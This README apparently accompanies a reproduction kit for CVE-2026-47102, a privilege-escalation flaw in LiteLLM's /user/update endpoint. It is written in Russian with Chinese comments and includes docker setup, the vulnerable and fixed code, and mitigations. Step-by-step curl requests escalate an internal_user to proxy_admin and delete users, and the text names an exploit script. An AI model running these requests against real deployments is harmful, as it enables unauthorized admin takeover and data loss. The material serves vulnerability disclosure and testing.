
Код для самостоятельного воспроизведения соответствующей уязвимости
/user/updateКонечная точка
/user/updateв LiteLLM v1.83.7 (до версии v1.83.10) позволяет пользователям с низкими привилегиями, имеющим доступ к этой конечной точке, изменять полеuser_roleнаproxy_adminпри обновлении собственной записи, что приводит к неавторизованному повышению привилегий.
| Поле | Значение |
|---|---|
| CVE | CVE-2026-47102 |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Incorrect Authorization) |
| Затронутые версии | LiteLLM < 1.83.10 (подтверждено в v1.83.7) |
| Исправлено | v1.83.10+ (добавлена проверка прав на изменение поля user_role) |
| Опубликовано | 2026-05-21 |
| Обнаружено | Fenix Qiao (13ph03nix) — Obsidian Security |
| Ссылки | NVD |
Конечная точка /user/update в LiteLLM используется для обновления атрибутов пользователя. В затронутых версиях функция can_user_call_user_update() в /user/update проверяет, имеет ли пользователь право обновлять указанного пользователя (пользователю разрешено обновлять собственную запись), но не накладывает никаких ограничений на изменяемые поля.
Это означает, что любой пользователь, имеющий доступ к конечной точке /user/update (например, пользователь, которому администратор предоставил права на этот маршрут, или злоумышленник, получивший доступ к этой конечной точке через другую уязвимость), может повысить свою роль до proxy_admin, изменив собственное поле user_role, и получить полный доступ ко всем административным конечным точкам.
Admin 为 internal_user 创建带有 /user/update 路由权限的 API key
→ internal_user 获得 route-level 访问权限
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"} ← CVE-2026-47102
→ 角色提升为 proxy_admin
→ GET /user/list (验证管理员访问权限)
Обе уязвимости можно использовать в связке: CVE-2026-47101 — для создания wildcard key с маршрутом (доступ к
/user/update), CVE-2026-47102 — для повышения собственной роли доproxy_admin.
# 1. 启动 PostgreSQL + 有漏洞的 LiteLLM(v1.83.7-stable)
docker compose up -d litellm
# 等待服务就绪(约 10-30 秒)
sleep 15
# 检查容器日志
docker logs litellm-47102-privesc 2>&1 | tail -10
Ожидаемый вывод должен содержать журналы успешного запуска, например Uvicorn running on http://0.0.0.0:4000.
Создайте учётную запись internal_user с низкими привилегиями, используя master key:
curl -s -X POST http://localhost:4002/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
Ожидаемый вывод:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
Администратор создаёт для internal_user API key с правом доступа к маршруту /user/update. Это типичный способ получения доступа к конечной точке /user/update в реальной среде:
# 使用 master key 创建带有 /user/update 路由的 key
curl -s -X POST http://localhost:4002/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'
Ожидаемый вывод:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}
Используя key с правами на маршрут /user/update, полученный на предыдущем шаге, повысьте роль пользователя до proxy_admin:
curl -s -X POST http://localhost:4002/user/update \
-H "Authorization: Bearer sk-route-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
Ожидаемый вывод:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ Суть уязвимости:
user_roleизменился сinternal_userнаproxy_admin! Конечная точка/user/updateпозволяет пользователю изменять собственное полеuser_roleбез каких-либо ограничений на уровне полей.
Проверьте, что повышение роли вступило в силу, через конечную точку /user/list (используйте исходный API key internal_user; этот key не ограничен по маршрутам и после повышения до proxy_admin автоматически получает права администратора):
# 使用已提升为 proxy_admin 的 key(原始 internal_user key,无路由限制)
curl -s -X GET http://localhost:4002/user/list \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json"
Ожидаемый вывод:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
Используя полученные права proxy_admin, можно удалить любого пользователя через /user/delete (также с исходным API key internal_user):
curl -s -X POST http://localhost:4002/user/delete \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
Ожидаемый вывод:
1
Все описанные выше шаги объединены в demo.sh, который можно запустить напрямую:
# 完整复现(包含漏洞版 + 修复版对比)
bash demo.sh
Запустите исправленную версию (v1.83.10-stable), чтобы убедиться, что CVE-2026-47102 устранена:
docker compose --profile fixed up -d litellm-fixed
Создайте internal_user:
FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")
Создайте key с маршрутом /user/update:
FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
Попробуйте повысить привилегии (ожидается блокировка):
curl -s -X POST http://localhost:4003/user/update \
-H "Authorization: Bearer $FIXED_ROUTE_KEY" \
-H "Content-Type: application/json" \
-d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"
Ожидаемый вывод (исправленная версия блокирует запрос с превышением прав):
{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}
Сравнение с уязвимой версией:
| Сценарий тестирования | Уязвимая версия (v1.83.7) | Исправленная версия (v1.83.10) |
|---|---|---|
| Изменение user_role key с маршрутом | ✅ Успешно повышен до proxy_admin | ❌ Заблокировано ("Only proxy admins can modify user roles.") |
| Доступ к /user/list | ✅ Список пользователей получен | ❌ Заблокировано |
Корень уязвимости находится в функции can_user_call_user_update() конечной точки /user/update:
/user/update — отсутствует проверка прав на уровне полей# 有漏洞的代码 — internal_user_endpoints.py:1197-1208
def can_user_call_user_update(user_api_key_dict, user_info):
if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
return True # 管理员可以更新任何用户
elif user_api_key_dict.user_id == user_info.user_id:
return True # ❌ 用户可以更新自己的记录 — 包括 user_role 字段!
return False
Схема исправления (v1.83.10+):
def can_user_call_user_update(user_api_key_dict, user_info, data):
if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
return True # 管理员仍然可以更新任何用户和字段
elif user_api_key_dict.user_id == user_info.user_id:
# 限制非管理员可修改的字段
allowed_fields = {"metadata", "display_name", "email"}
requested_fields = set(data.keys())
forbidden = requested_fields - allowed_fields
if forbidden:
raise ForbiddenError(f"Cannot modify fields: {forbidden}")
return True
return False
Злоумышленнику нужен API key с доступом к конечной точке /user/update. Получить его можно следующими способами:
/user/update/key/generate для создания wildcard key/user/updateШаг 1: получить API key с правами на маршрут /user/update
Шаг 2: вызвать /user/update для повышения роли:
POST /user/update
Authorization: Bearer sk-route-key
Content-Type: application/json
{"user_id": "target-user-id", "user_role": "proxy_admin"}
Шаг 3: проверить права администратора:
GET /user/list
Authorization: Bearer sk-route-key
В исправленной версии в /user/update добавлена проверка прав на уровне полей:
metadatauser_role — только proxy_admin может изменять роль пользователяСообщение об ошибке: "Only proxy admins can modify user roles."
CVE-2026-47102/
├── README.md # This file
├── CVE-2026-47102_漏洞复现报告.docx # Reproduction report (Chinese)
├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
├── config.yaml # LiteLLM config with database connection
├── requirements.txt # Python dependencies
├── demo.sh # One-click reproduction script
├── exploit/
│ ├── exploit.py # Python exploit script
│ └── payload.py # Payload builders
├── docs/
└── screenshots/
/user/update)/user/update с изменениями user_role на предмет аномальной активностиОтказ от ответственности: Материал предоставлен только в образовательных целях и для авторизованного тестирования безопасности.
| Параметр | CVE-2026-47101 | CVE-2026-47102 |
|---|
| Суть уязвимости | /key/generate не проверяет allowed_routes | /user/update без проверки прав на уровне полей |
| Условие атаки | internal_user может напрямую вызывать /key/generate | требуется сначала получить доступ к маршруту /user/update |
| Версия исправления | v1.83.14 | v1.83.10 |